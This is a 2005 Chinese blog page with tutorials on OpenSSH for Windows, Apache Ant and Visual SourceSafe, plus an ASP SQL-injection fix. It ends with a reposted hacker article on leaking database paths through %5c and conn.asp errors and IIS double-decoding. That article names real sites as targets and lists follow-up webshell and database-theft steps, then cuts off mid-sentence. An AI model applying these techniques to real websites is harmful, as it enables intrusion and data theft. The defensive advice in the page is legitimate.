    第一、打开一个ms-dos终端,进入openssh/bin目录。(安装完openssh后,发现多了几个在linux中常用的命令,如:ls、mkdir、rm、chmod、chown等,很有亲切感! )

    第二、将计算机上的组导入group文件中。这里分两种情况,第一种是本地,第二种是在域中。分别运行-l和-d参数。如果想将两种组都导入,可以先运行-l的参数再运行-d参数的命令。
    下面是原文:
    Use mkgroup to create a group permissions file. For local groups, use the "-l" switch. For domain groups, use the "-d" switch.
    For both domain and local, it is best to run the command twice (remember to use >>, not >). If you use both, make sure to edit the file to remove any duplicate entires.

    mkgroup -l >> ..\etc\group 这是加入本地组的命令。
    mkgroup -d >> ..\etc\group 这是加入域组的命令。

    第三、 将计算机的用户与其密码导入passwd文件中。与上面的组一样,也是分本地和域两种情况。如果没有该文件或没有导入用户的信息。作为server的话,将不能被登陆,因为没有用户嘛!
    下面是原文:
    Use mkpasswd to add authorized users into the passwd file. For local users, use the "-l" switch. For domain users, use the "-d" switch.
    For both domain and local, it is best to run the command twice (remember to use >>, not >). If you use both, make sure to edit the file to remove any duplicate entires.

    mkpasswd -l [-u ] >> ..\etc\passwd 这是加入本地用户的命令。
    mkpasswd -d [-u ] >> ..\etc\passwd 这是加入域用户的命令。

    NOTE: To add users from a domain that is not the primary domain of the machine, add the domain name after the user name.
    NOTE: Ommitting the username switch adds ALL users from the machine or domain, including service accounts and the Guest account.

    由于不在域里,所以我只要运行两条命令就可以了。(注意我是在openssh/bin目录下运行的。)
    mkgroup -l >> ..\etc\group
    mkpasswd -l [-u ] >> ..\etc\passwd

    4) .启动openssh server。

    net start opensshd

    很明显,停止opensshd服务的命令就是:

    net stop opensshd

    5) 、使用。

    ssh -p 端口 用户名@对方主机IP
    sftp -p 端口 用户名@对方主机IP
    scp -p 端口 用户名@对方主机IP:文件路径 .
    注意:端口默认是22,所以一般不用加-p参数。要更改端口可以在etc/sshd_config中更改

    2、安装配置vss

    前面的文章有介绍 用vss和PrimalScript 快速搭建ASP项目的代码版本控制环境 的文章

    3、安装配置ant
    1) 、Ant下载:http://ant.apache.org

    2) 、Ant安装:解压zip包,并将解压后的目录拷贝到一个特定的目录,我的环境是“C:\Ant”。并确保…\bin和…\lib两目录位于C:\Ant下;

    3) 、Ant配置:编辑Windows系统变量,我们团队环境是PC/Windows(以我的配置为例)

    建立ANT_HOME:“ANT_HOME”:“C:\Ant”;
    建立JAVA_HOME:“JAVA_HOME”:“D:\Jbuilder9\jdk1.4”;
    在Path中添加:“C:\Ant\bin”

    请参考如下附的文章:

    4) 、生成Ant的Build.xml文件
    其实所有使用Ant进行编译的技巧都应该集中在Build.xml的编写上,很多关于Ant的技巧也就是编写Build.xml的技巧。(慢慢看、慢慢学 :)
    但即使你编写Build.xml的技巧为零,你也可以利用IDE来偷懒。我们团队使用的IDE是JBuilder,利用“Export to Ant”可以很轻松的生成一个简单的Build.xml

    注:本文引用地址:http://WWW.VFOCUS.NET/BLOG/mt-tb.cgi/14请尊重原创,如有转载请注明出处。

    附1:Ant实践,附2、build.xml(由于涉及到开发机密,暂不公布)


    1. Ant是什么?
    2. 安装Ant
    3. 运行Ant
    4. 编写build.xml
    5. 内置task(internet)
    6. EAR task(internet)
    7. WAR task(internet)
    8. JUnit task(internet)

    --------------------------------------------------------------------------------

    1.Ant是什么?
    --------------------------------------------------------------------------------

    Ant是一种基于Java的build工具。理论上来说,它有些类似于(Unix)C中的make ,但没有make的缺陷。

    既然我们已经有了make, gnumake, nmake, jam以及其他的build工具为什么还要要一种新的build工具呢?因为Ant的原作者在多种(硬件)平台上开发软件时,无法忍受这些工具的限制和不便。类似于make的工具本质上是基于shell(语言)的:他们计算依赖关系,然后执行命令(这些命令与你在命令行敲的命令没太大区别)。这就意味着你可以很容易地通过使用OS特有的或编写新的(命令)程序扩展该工具;然而,这也意味着你将自己限制在了特定的OS,或特定的OS类型上,如Unix。

    Makefile也很可恶。任何使用过他们的人都碰到过可恶的tab问题。Ant的原作者经常这样问自己:“是否我的命令不执行只是因为在我的tab前有一个空格?!!”。类似于jam的工具很好地处理了这类问题,但是(用户)必须记住和使用一种新的格式。

    Ant就不同了。与基于shell命令的扩展模式不同,Ant用Java的类来扩展。(用户)不必编写shell命令,配置文件是基于XML的,通过调用target树,就可执行各种task。每个task由实现了一个实现了特定Task接口的对象来运行。(如果你对Ant一点概念都没有的话,可能看不懂这一节,没有关系,后面会对target,task做详细的介绍。你如果没有太多的时间甚至可以略过这一节,然后再回来浏览一下这里的介绍,那时你就会看懂了。同样,如果你对make之类的工具不熟悉也没关系,下面的介绍根本不会用到make中的概念。)

    必须承认,这样做,在构造shell命令时会失去一些特有的表达能力。如`find . -name foo -exec rm {}`,但却给了你跨平台的能力-你可以在任何地方工作。如果你真的需要执行一些shell命令,Ant有一个 task,这个task允许执行特定OS上的命令。

    2.安装Ant
    --------------------------------------------------------------------------------

    由于Ant是一个Open Source的软件,所以有两种安装Ant的方式,一种是用已编译好的binary 文件安装Ant,另一种是用源代码自己build Ant。

    binary 形式的Ant可以从http://jakarta.apache.org/builds/ant/release/v1.4.1/bin下载。如果你希望你能自己编译Ant,则可从 http://jakarta.apache.org/builds/ant/release/v1.4.1/src。注意所列出的连接都是最新发行版的Ant。如果你读到此文时,发现已经有了更新的版本,那么请用新版本。如果你是一个疯狂的技术追求者,你也可以从Ant CVS repository下载最新版本的Ant。

    系统需求

    要想自己build Ant。你需要一个JAXP兼容的XML解析器(parser)放在你的CLASSPATH系统变量中。

    binary 形式的Ant包括最新版的Apache Crimson XML解析器。你可以从http://java.sun.com/xml/ 得到更多的关于JAXP的信息。如果你希望使用其他的JAXP兼容的解析器。你要从Ant的lib目录中删掉jaxp.jar以及crimson.jar。然后你可将你心爱的解析器的jar文件放到Ant的lib目录中或放在你的CLASSPATH系统变量中。

    对于当前版本的Ant,需要你的系统中有JDK,1.1版或更高。未来的Ant版本会要求使用JDK 1.2或更高版本。

    安装Ant

    binary 版的Ant包括三个目录:bin, docs 和lib。只有bin和lib目录是运行Ant所需的。要想安装Ant,选择一个目录并将发行版的文件拷贝到该目录下。这个目录被称作ANT_HOME。

    在你运行Ant之前需要做一些配置工作。

    将bin目录加入PATH环境变量。
    设定ANT_HOME环境变量,指向你安装Ant的目录。在一些OS上,Ant的脚本可以猜测ANT_HOME(Unix和Windos NT/2000)-但最好不要依赖这一特性。
    可选地,设定JAVA_HOME环境变量(参考下面的高级小节),该变量应该指向你安装JDK的目录。

    注意:不要将Ant的ant.jar文件放到JDK/JRE的lib/ext目录下。Ant是个应用程序,而lib/ext目录是为JDK扩展使用的(如JCE,JSSE扩展)。而且通过扩展装入的类会有安全方面的限制。

    可选Task

    Ant支持一些可选task。一个可选task一般需要额外的库才能工作。可选task与Ant的内置task分开,单独打包。这个可选包可以从你下载Ant的同一个地方下载。目前包含可选task的jar文件名叫jakarta-ant-1.4.1-optional.jar。这个jar文件应该放到Ant安装目录的lib目录下。

    每个可选task所需的外部库可参看依赖库小节。这些外部库可以放到Ant的lib目录下,这样Ant就能自动装入,或者将其放入环境变量中。

    Windows

    假定Ant安装在c:\ant\目录下。下面是设定环境的命令:

    set ANT_HOME=c:\ant
    set JAVA_HOME=c:\jdk1.2.2
    set PATH=%PATH%;%ANT_HOME%\bin
    Unix (bash)

    假定Ant安装在/usr/local/ant目录下。下面是设定环境的命令:

    export ANT_HOME=/usr/local/ant
    export JAVA_HOME=/usr/local/jdk-1.2.2
    export PATH=${PATH}:${ANT_HOME}/bin
    高级

    要想运行Ant必须使用很多的变量。你至少参考需要下面的内容:

    Ant的CLASSPATH必须包含ant.jar以及你所选的JAXP兼容的XML解析器的jar文件。
    当你需要JDK的功能(如javac或rmic task)时,对于JDK 1.1,JDK的classes.zip文件必须放入CLASSPATH中;对于JDK 1.2或JDK 1.3,则必须加入tools.jar。如果设定了正确的JAVA_HOME环境变量,Ant所带的脚本,在bin目录下,会自动加入所需的JDK类。
    当你执行特定平台的程序(如exec task或cvs task)时,必须设定ant.home属性指向Ant的安装目录。同样,Ant所带的脚本利用ANT_HOME环境变量自动设置该属性。
    Building Ant

    要想从源代码build Ant,你要先安装Ant源代码发行版或从CVS中checkout jakarta-ant模块。

    安装好源代码后,进入安装目录。

    设定JAVA_HOME环境变量指向JDK的安装目录。要想知道怎么做请参看安装Ant小节。

    确保你已下载了任何辅助jar文件,以便build你所感兴趣的task。这些jar文件可以放在CLASSPATH中,也可以放在lib/optional目录下。参看依赖库小节可知不同的task需要那些jar文件。注意这些jar文件只是用作build Ant之用。要想运行Ant,你还要像安装Ant小节中所做的那样设定这些jar文件。

    现在你可以build Ant了:

    build -Ddist.dir= dist (Windows)
    build.sh -Ddist.dir= dist (Unix)

    这样就可你指定的目录中创建一个binary版本。

    上面的命令执行下面的动作:

    如果有必要可以bootstrap Ant的代码。bootstrap 包括手工编辑一些Ant代码以便运行Ant。bootstrap 用于下面的build步骤。
    向build脚本传递参数以调用bootstrap Ant。参数定义了Ant的属性值并指定了Ant自己的build.xml文件的"dist" target。

    大多数情况下,你不必直接bootstrap Ant,因为build脚本为你完成这一切。运行bootstrap.bat (Windows) 或 bootstrap.sh (UNIX) 可以build一个新的bootstrap版Ant。


    如果你希望将Ant安装到ANT_HOME目录下,你可以使用:

    build install (Windows)
    build.sh install (Unix)

    如果你希望跳过冗长的Javadoc步骤,可以用:

    build install-lite (Windows)
    build.sh install-lite (Unix)

    这样就只会安装bin和lib目录。

    注意install和install-lite都会覆盖ANT_HOME中的当前Ant版本。

    依赖库

    如果你需要执行特定的task,你需要将对应的库放入CLASSPATH或放到Ant安装目录的lib目录下。注意使用mapper时只需要一个regexp库。同时,你也要安装Ant的可选jar包,它包含了task的定义。参考上面的安装Ant小节。

    Jar Name Needed For Available At
    An XSL transformer like Xalan or XSL:P style task http://xml.apache.org/xalan-j/index.html or http://www.clc-marketing.com/xslp/
    jakarta-regexp-1.2.jar regexp type with mappers jakarta.apache.org/regexp/
    jakarta-oro-2.0.1.jar regexp type with mappers and the perforce tasks jakarta.apache.org/oro/
    junit.jar junit tasks www.junit.org
    stylebook.jar stylebook task CVS repository of xml.apache.org
    testlet.jar test task java.apache.org/framework
    antlr.jar antlr task www.antlr.org
    bsf.jar script task oss.software.ibm.com/developerworks/projects/bsf
    netrexx.jar netrexx task www2.hursley.ibm.com/netrexx
    rhino.jar javascript with script task www.mozilla.org
    jpython.jar python with script task www.jpython.org
    netcomponents.jar ftp and telnet tasks www.savarese.org/oro/downloads

    3.运行Ant
    --------------------------------------------------------------------------------

    运行Ant非常简单,当你正确地安装Ant后,只要输入ant就可以了。

    没有指定任何参数时,Ant会在当前目录下查询build.xml文件。如果找到了就用该文件作为buildfile。如果你用 -find 选项。Ant就会在上级目录中寻找buildfile,直至到达文件系统的根。要想让Ant使用其他的buildfile,可以用参数 -buildfile file,这里file指定了你想使用的buildfile。

    你也可以设定一些属性,以覆盖buildfile中指定的属性值(参看property task)。可以用 -Dproperty=value 选项,这里property是指属性的名称,而value则是指属性的值。也可以用这种办法来指定一些环境变量的值。你也可以用property task来存取环境变量。只要将 -DMYVAR=%MYVAR% (Windows) 或 -DMYVAR=$MYVAR (Unix) 传递给Ant -你就可以在你的buildfile中用${MYVAR}来存取这些环境变量。

    还有两个选项 -quite,告诉Ant运行时只输出少量的必要信息。而 -verbose,告诉Ant运行时要输出更多的信息。

    可以指定执行一个或多个target。当省略target时,Ant使用标签的default属性所指定的target。

    如果有的话,-projecthelp 选项输出项目的描述信息和项目target的列表。先列出那些有描述的,然后是没有描述的target。

    命令行选项总结:

    ant [options] [target [target2 [target3] ...]]
    Options:
    -help print this message
    -projecthelp print project help information
    -version print the version information and exit
    -quiet be extra quiet
    -verbose be extra verbose
    -debug print debugging information
    -emacs produce logging information without adornments
    -logfile file use given file for log output
    -logger classname the class that is to perform logging
    -listener classname add an instance of class as a project listener
    -buildfile file use specified buildfile
    -find file search for buildfile towards the root of the filesystem and use the first one found
    -Dproperty=value set property to value
    例子

    ant

    使用当前目录下的build.xml运行Ant,执行缺省的target。

    ant -buildfile test.xml

    使用当前目录下的test.xml运行Ant,执行缺省的target。

    ant -buildfile test.xml dist

    使用当前目录下的test.xml运行Ant,执行一个叫做dist的target。

    ant -buildfile test.xml -Dbuild=build/classes dist

    使用当前目录下的test.xml运行Ant,执行一个叫做dist的target,并设定build属性的值为build/classes。

    文件

    在Unix上,Ant的执行脚本在做任何事之前都会source(读并计算值)~/.antrc 文件;在Windows上,Ant的批处理文件会在开始时调用%HOME%\antrc_pre.bat,在结束时调用%HOME%\antrc_post.bat。你可以用这些文件配置或取消一些只有在运行Ant时才需要的环境变量。看下面的例子。

    环境变量

    包裹脚本(wrapper scripts)使用下面的环境变量(如果有的话):

    JAVACMD Java可执行文件的绝对路径。用这个值可以指定一个不同于JAVA_HOME/bin/java(.exe)的JVM。
    ANT_OPTS 传递给JVM的命令行变量-例如,你可以定义属性或设定Java堆的最大值

    手工运行Ant

    如果你自己动手安装(DIY)Ant,你可以用下面的命令启动Ant:

    java -Dant.home=c:\ant org.apache.tools.ant.Main [options] [target]

    这个命令与前面的ant命令一样。选项和target也和用ant命令时一样。这个例子假定你的CLASSPATH包含:

    ant.jar

    jars/classes for your XML parser

    the JDK's required jar/zip files

    4.编写build.xml
    --------------------------------------------------------------------------------

    Ant的buildfile是用XML写的。每个buildfile含有一个project。

    buildfile中每个task元素可以有一个id属性,可以用这个id值引用指定的任务。这个值必须是唯一的。(详情请参考下面的Task小节)

    Projects

    project有下面的属性:

    Attribute Description Required
    name 项目名称. No
    default 当没有指定target时使用的缺省target Yes
    basedir 用于计算所有其他路径的基路径。该属性可以被basedir property覆盖。当覆盖时,该属性被忽略。如果属性和basedir property都没有设定,就使用buildfile文件的父目录。 No

    项目的描述以一个顶级的元素的形式出现(参看description小节)。

    一个项目可以定义一个或多个target。一个target是一系列你想要执行的。执行Ant时,你可以选择执行那个target。当没有给定target时,使用project的default属性所确定的target。

    Targets

    一个target可以依赖于其他的target。例如,你可能会有一个target用于编译程序,一个target用于生成可执行文件。你在生成可执行文件之前必须先编译通过,所以生成可执行文件的target依赖于编译target。Ant会处理这种依赖关系。

    然而,应当注意到,Ant的depends属性只指定了target应该被执行的顺序-如果被依赖的target无法运行,这种depends对于指定了依赖关系的target就没有影响。

    Ant会依照depends属性中target出现的顺序(从左到右)依次执行每个target。然而,要记住的是只要某个target依赖于一个target,后者就会被先执行。




    假定我们要执行target D。从它的依赖属性来看,你可能认为先执行C,然后B,最后A被执行。错了,C依赖于B,B依赖于A,所以先执行A,然后B,然后C,最后D被执行。

    一个target只能被执行一次,即时有多个target依赖于它(看上面的例子)。

    如果(或如果不)某些属性被设定,才执行某个target。这样,允许根据系统的状态(java version, OS, 命令行属性定义等等)来更好地控制build的过程。要想让一个target这样做,你就应该在target元素中,加入if(或unless)属性,带上target因该有所判断的属性。例如:


    如果没有if或unless属性,target总会被执行。

    可选的description属性可用来提供关于target的一行描述,这些描述可由-projecthelp命令行选项输出。

    将你的tstamp task在一个所谓的初始化target是很好的做法,其他的target依赖这个初始化target。要确保初始化target是出现在其他target依赖表中的第一个target。在本手册中大多数的初始化target的名字是"init"。

    target有下面的属性:

    Attribute Description Required
    name target的名字 Yes
    depends 用逗号分隔的target的名字列表,也就是依赖表。 No
    if 执行target所需要设定的属性名。 No
    unless 执行target需要清除设定的属性名。 No
    description 关于target功能的简短描述。 No

    Tasks

    一个task是一段可执行的代码。

    一个task可以有多个属性(如果你愿意的话,可以将其称之为变量)。属性只可能包含对property的引用。这些引用会在task执行前被解析。

    下面是Task的一般构造形式:

    这里name是task的名字,attributeN是属性名,valueN是属性值。

    有一套内置的(built-in)task,以及一些可选task,但你也可以编写自己的task。

    所有的task都有一个task名字属性。Ant用属性值来产生日志信息。

    可以给task赋一个id属性:

    这里taskname是task的名字,而taskID是这个task的唯一标识符。通过这个标识符,你可以在脚本中引用相应的task。例如,在脚本中你可以这样:

    设定某个task实例的foo属性。在另一个task中(用java编写),你可以利用下面的语句存取相应的实例。

    project.getReference("task1").

    注意1:如果task1还没有运行,就不会被生效(例如:不设定属性),如果你在随后配置它,你所作的一切都会被覆盖。

    注意2:未来的Ant版本可能不会兼容这里所提的属性,因为很有可能根本没有task实例,只有proxies。

    Properties

    一个project可以有很多的properties。可以在buildfile中用property task来设定,或在Ant之外设定。一个property有一个名字和一个值。property可用于task的属性值。这是通过将属性名放在"${"和"}"之间并放在属性值的位置来实现的。例如如果有一个property builddir的值是"build",这个property就可用于属性值:${builddir}/classes。这个值就可被解析为build/classes。

    内置属性

    如果你使用了 task 定义了所有的系统属性,Ant允许你使用这些属性。例如,${os.name}对应操作系统的名字。

    要想得到系统属性的列表可参考the Javadoc of System.getProperties。

    除了Java的系统属性,Ant还定义了一些自己的内置属性:
    basedir project基目录的绝对路径 (与的basedir属性一样)。
    ant.file buildfile的绝对路径。
    ant.version Ant的版本。
    ant.project.name 当前执行的project的名字;由的name属性设定.
    ant.java.version Ant检测到的JVM的版本; 目前的值有"1.1", "1.2", "1.3" and "1.4".

    例子

























    Token Filters

    一个project可以有很多tokens,这些tokens在文件拷贝时会被自动扩展,这要求在支持这一行为的task中选择过滤拷贝功能。这一功能可用filter task在buildfile中设定。

    既然这很可能是一个有危害的行为,文件中的tokens必须采取@token@的形式,这里token是filter task中设定的token名。这种token语法与其他build系统执行类似filtering的语法相同,而且与大多数的编程和脚本语言以及文档系统并不冲突,

    注意:如果在一个文件中发现了一个@token@形式的token,但没有filter与这个token关连,则不会发生任何事;因此,没有转义方法-但只要你为token选择合适的名字,就不会产生问题。

    警告:如果你在拷贝binary文件时打开filtering功能,你有可能破坏文件。这个功能只针对文本文件。

    Path-like Structures
    你可以用":"和";"作为分隔符,指定类似PATH和CLASSPATH的引用。Ant会把分隔符转换为当前系统所用的分隔符。

    当需要指定类似路径的值时,可以使用嵌套元素。一般的形式是





    location属性指定了相对于project基目录的一个文件和目录,而path属性接受逗号或分号分隔的一个位置列表。path属性一般用作预定义的路径--其他情况下,应该用多个location属性。

    为简洁起见,classpath标签支持自己的path和location属性。所以:




    可以被简写作:


    也可通过元素指定路径。构成一个fileset的多个文件加入path-like structure的顺序是未定的。








    上面的例子构造了一个路径值包括:${classpath}的路径,跟着lib目录下的所有jar文件,接着是classes目录。

    如果你想在多个task中使用相同的path-like structure,你可以用元素定义他们(与target同级),然后通过id属性引用--参考Referencs例子。

    path-like structure可能包括对另一个path-like structurede的引用(通过嵌套元素):











    前面所提的关于的简洁写法对于也是有效的,如:





    可写成:


    命令行变量

    有些task可接受参数,并将其传递给另一个进程。为了能在变量中包含空格字符,可使用嵌套的arg元素。

    Attribute Description Required
    value 一个命令行变量;可包含空格字符。 只能用一个
    line 空格分隔的命令行变量列表。
    file 作为命令行变量的文件名;会被文件的绝对名替代。
    path 一个作为单个命令行变量的path-like的字符串;或作为分隔符,Ant会将其转变为特定平台的分隔符。

    例子


    是一个含有空格的单个的命令行变量。


    是两个空格分隔的命令行变量。


    是一个命令行变量,其值在DOS系统上为\dir;\dir2;\dir3;在Unix系统上为/dir:/dir2:/dir3 。

    References

    buildfile元素的id属性可用来引用这些元素。如果你需要一遍遍的复制相同的XML代码块,这一属性就很有用--如多次使用结构。

    下面的例子:





















    可以写成如下形式:


















    所有使用PatternSets, FileSets 或 path-like structures嵌套元素的task也接受这种类型的引用。

    Posted by vitter at 2005-08-11 17:45:32 | 评论 (0) | 引用

    快速搭建ASP项目的代码版本控制环境

      ASP项目中引入代码版本控制机制具有十分积极的意义。下面是我当前的项目中采用的代码版本控制环境:

      代码开发工具:PrimalScript 3.1.434
      版本控制系统:Visual SourceSafe 6.0

      Visual SourceSafe 6.0是一个常见的代码版本管理工具。虽然它不是最好的,但是在我们的项目中它的功能是足够的:

    查看清晰大图

      在VSS Admin中建立用户:

    查看清晰大图

      在VSS Admin中建立代码数据库:

    查看清晰大图

      在PrimalScript中建立Web Project:

    查看清晰大图

      在 PrimalScript 的 Options 选项中,启用代码版本控制:

    查看清晰大图

      连接到VSS:

    查看清晰大图

    查看清晰大图

      将代码加入到代码数据库中:

    查看清晰大图

      在编写代码过程中,用 Check in 和 Check out 操作进行版本管理:

    查看清晰大图

      代码处于版本控制系统VSS的控制之中,十分安全,一旦被 check in ,便会形成一个版本,如果团队成员试图改动它的时候必须先 check out 形成另一个版本:

    查看清晰大图

      团队成员在代码的不同版本中可以加上版本注释信息供以后查阅:

    查看清晰大图

      版本的各个版本是可以被方便地从代码数据库中调出的:

    查看清晰大图

      团队中不同成员对代码的修改可以区分开来:

    查看清晰大图

    查看清晰大图

      团队中各个成员将及时得到最新的代码:

    查看清晰大图

    在这里我仅仅是向您简单介绍了一下最初级的代码版本控制知识,更多内容,您可以在使用中去挖掘。本教程到此结束。

    Posted by vitter at 2005-08-11 16:41:45 | 评论 (1) | 引用

    August 05, 2005

    网站再次大的改动

    1、论坛存在问题太多,因此更换php论坛,与主服务器分离.
    2、文章系统上次修改代码遗漏了一处提交对整形数字的判断,index的nclassid:
    if trim(request("nclassid"))<>"" then

    dim Sql_injection_ncid
    Sql_injection_ncid = replace(request("nclassid")," ","")
    if isnumeric(Sql_injection_ncid) = 0 then
    response.write "非法ID"
    response.end
    end if

    nclassid=Sql_injection_ncid

    sql="select * from ANclass where NclassID="&cstr(nclassid)
    rs.open sql,conn,1,1
    if not rs.eof then
    Nclassname=rs("Nclass")
    end if
    rs.close

    3、对于%5c这种数据暴库的处理:
    防止暴库的两种简单方法
    (1)、将conn.asp文件和数据库放在一起
    (2)、在conn.asp中加上这样的语句
    On Error Resume Next
    如:
    <%
    On Error Resume Next
    dim conn,connstr,db
    :
    %>.

    附:暴库相关资料:

    对暴库的一点认识

    作 者:不 详  摘 自: 邪恶八进制安全小组
    去年的时候曾经有一段时间研究过ie双解码,所以对暴库有一定的认识,前些天终于收到黑客的杂志,里面看了一篇临的文章,下面我也谈谈个人对那篇文章的认识,这里要说的是,大家如果再深入点研究下去,就会发现,暴库的利用不只是这么简单,还会有更多可以用的东东。
    暴库的方式有多种多样,我知道的就有3种以上,常见的暴的方法有:%5c类暴,conn.asp暴,ddos暴等等.
    这篇文章我主要讲%5c和conn.asp暴.
    可以说,这篇是对临国越南首相写的文章的补充.

    1.%5c暴法
    下面我们先用肉鸡来试一下
    http://www.yianxin.com/e-market/bbs/select.asp
    暴:
    http://www.yianxin.com/e-market/bbs%5cselect.asp
    返回信息如下:
    microsoft jet database engine 错误 `80004005`

    `d:wwwyianxin.comgr7shg3l26e-marketdatayianxinlzn.asp`不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    /e-market/bbs/conn.asp,行3

    我们来看一下真实路径和暴出的路径
    d:wwwyianxin.comgr7shg3l26e-marketdatayianxinlzn.asp 暴出的路径
    d:wwwyianxin.comgr7shg3l26e-marketbsdatayianxinlzn.asp 真实的路径
    对比后我们发现暴出来的少了一个bbs
    这里我们还发现%5c就相当于一个休止符返回的路径就变成
    绝对路径+%5c后面的内容
    我们再来看一下对暴不出来的分析
    肉鸡: http://www.guilin.com.cn/renrenbbs/body.asp?id=516
    暴url: http://www.guilin.com.cn/renrenbbs%5cbody.asp?id=516

    肉鸡: http://www.jijiahao.com/guest/default.asp
    暴url: http://www.jijiahao.com/guest%5cdefault.asp

    我们再来分析一下成功与失败的原因:
    http://www.yianxin.com/e-market/bbs%5cselect.asp
    会暴成功库,我们打开select.asp我们会发现里面

    也就是说有调用到其它文件
    所以当你用%5c时,返回路径也就变成了
    绝对路径+%5c后面的select.asp,select.asp又调用到路径库data/renren.asp
    所以返回的路径就变成了
    绝对路径+路据库路径,而在绝对路径和路据库路径,我们知道有guest这个目录,
    这个时候因为绝对路径+路据库路径不存在(绝对路径+guest+路据库路径才存在)
    所以也就返回了,我们所看到的出错信息。
    现在再来分析一下失败的原因:
    我个人认为是因为iis双解码的原因,
    例如,对于``这个字符,正常编码后是%5c。这三个字符对应的编码为:
    `%` = %25
    `5` = %35
    `c` = %63

    如果要对这三个字符再做一次编码,就可以有多种形式,例如:
    %255c
    %%35c
    %%35%63
    %25%35%63
    ...

    因此,".."就可以表示成"..%255c"或"..%%35c"等等形式。

    在经过第一次解码之后,变成"..%5c"。iis会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成".."。因此攻击者就可以使用".."来进行目录遍历,执行web目录之外的任意程序。

    详细的大家可以看下面的资料参考

    我们再来分析失败的原因就会发现,他可能解析成../,通过图的比较可以分析出来,难道这时就暴不出来了吗,当然不是,这要我们精心构造。
    下面还会分析到。

    下面我们来纠正一下网上常见的错误观点。
    1.不一定要asp?id=的才可以暴,只要有调用其它有文件就有可能暴
    2.不一定是access,也可以是mssql,我就成功过,下面大总结的时候就会分析到只要是iis就有可能成功
    3.不一定要调用到数据库,因为%5c的关键是调用,而不是一定是数据库.
    4.理论上讲,根目录通过精心构造是可以暴的,但有些人说的通过..%5c的却一定暴不出来,因为返回是取%5c后面的与前面的无关
    5.并不是说多层目录就暴的成功率就高,%5c能否成功关键是看系统怎么解析,另外我个人觉得能否暴出与程序无关,更多的与系统有关,不信大家去百度找同一板本的人人留言板,你就会发现有的可以暴出来,有的却暴不了出来。
    好了,上面是对%5c暴库的初步了解

    2.conn.asp暴
    conn.asp暴可以说,与系统无关,是因为目录的关系。
    我用netbox架设同样可以暴,而%5c是iis解码错误,有那个漏洞的一定是windows系统.
    同样,我们还是通过比较来说明问题
    肉鸡:http://192.168.0.55/ren/
    暴1 : http://192.168.0.55/ren/images/conn.asp
    暴2 : http://192.168.0.55/ren/conn.asp
    其中暴1里面的conn.asp是从暴2里面复制过去的
    返回内容:
    暴1:
    microsoft jet database engine `80004005`

    `c:documents and settingsxiaoqiu桌面wwwroot enimagesdata enren.asp`不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    wwwroot enimagesconn.asp, line 3

    暴2:
    全是白白。
    再来分析为什么conn.asp可以暴出来
    conn.asp代码如下:

    其中最重要的是
    set conn=server.createobject("adodb.connection")
    conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")
    这两句,这两句也是能暴出的关键.我们再来先看暴出的路径和真实路径的差别
    c:documents and settingsxiaoqiu桌面wwwroot enimagesdata enren.asp 暴出的路径
    c:documents and settingsxiaoqiu桌面wwwroot endata enren.asp 真实的路径
    我们会发现多了一个images,这是因为,conn.asp的返回路径是绝对路径+conn.asp前的+conn.asp连接的数据库路径像上面的就等于绝对路径c:documents and settingsxiaoqiu桌面wwwroot+conn.asp前面的ren/images+
    data enren.asp也就是数据库路径,合起来就是
    c:documents and settingsxiaoqiu桌面wwwroot+renimages+data enren.asp
    不同连接语法返回路径不一定一样,但是上面的连接语句返回的却一定是绝对路径
    下面我们再来验证一下我们的正确性,把下面的内容保存为任何一个经过asp.dll解析过扩展的文件,如
    linzi.asp,linzi.cdx等等,代码内容如下:

    这个时候你把他放在任何一个目录,只要不是ren目录里,也就是留言簿的根目录,都可以暴出绝对路径,这个时候你可能会问,难道根目录就暴不出了吗?答案是可以暴出来。你把上面代码里的
    data/renren.asp改成任何一个不存在的目录或文件,也同样可以暴出来,例如,我改成
    data123/renren.asp,因为data123不存在,所以就暴了出来,返回内容如下

    microsoft jet database engine `80004005`

    `c:documents and settingsxiaoqiu桌面wwwroot endata123 enren.asp`不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    wwwroot en2.asp, line 3
    我们还可以发现,并没有少目录,只不过目录出错,经过一大堆的测试,我个人总结出conn.asp暴成功的原因以及对网上一些错误观点的个人看法:
    1.要暴不一定要调用到数据库,但是要暴库,一定要调到到数据库或与数据库有关的文件。
    2.不一定conn.asp才可以暴,只要有调用其它文件,造成目录错误的都可以报,如动力的除了inc/conn.asp
    外,放在inc里面的其它文件同样也可以暴。
    3.总结conn.asp的暴原因是你返回的目录和真实的目录不一定,或者也可以说是不存在。

    3.暴的简单利用:
    1.下载数据库进后台找上传点,然后得到webshell
    2.往数据库里面插入asp小马,详细的可以参考angel的文章《把mdb改成asp带来的灾难》
    3.access跨库查询
    如语句:
    select count(*) from dv_admin in `d:wwwdatadvbbs7.mdb`
    4.注入时的利用,如mssql backup a shell
    5.绕过后台验证,详细的可以见我收集的暴库文摘

    好了,就这么些吧,上面可以说只是暴后攻击的冰山一角,当你再深入下去,你会发现还有更恐怖
    的东西在后面,2k+sp4有人利用双解码成功了,这也只是一角。
    还有这里要说一下的是,有的人说用asp.dll解析mdb用来防下载,事实上稍微不笨的人,就会发现这是一种愚蠢的做法,当你用asp.dll解析mdb后,你把newmmm.asp改成newmm.mdb上传后,就相当于一个newmm.asp,因为asp.dll解析过的扩展只要里面有asp语句就会被执行,这和cer,cdx等,一个道理.我个人认为防下载的最好方法是往数据库里加入防下载表段结束符,当然你可以说,可以注是,事实上,注是是不可能的事,除非你得到了shell,修改数据库,否则你就别想了,因为就算让你加上了两个%>结束符,但是因为里面的东西不满足asp语法,也会发生
    500错误。不信?要不你试试动网,动网的数据库就是这样。

    4.防范:
    1.最好的办法临在文章里也说过了,就是屏所有的出错。
    2.加容错语句,不过要注意的是,你加了容错,只能是你加的那个文件暴不出来,但并不代表,其它文件暴不出来。
    3.把数据库在非相对路径下,例如:你本来的路据库路径是:c:wwwdatadvbbs.asp,这时你可以把数据库改放在c:里,这样就下载不到数据库。
    好了,防的方法就说到这里了。因为我说的都是废话,大家都看过的.

    5.%5c暴与conn.asp总结:
    可以说%5c暴是因为调用文件出错,而conn.asp暴是因为返回的路径出错或不存在。

    6.conn.asp与%5c的结合:
    可以说如何构造是入侵时能不能暴出的关键。
    现在我们假设,guest目录放在c:www下,而conn.asp放在c:wwwguestconn.asp,直接调用
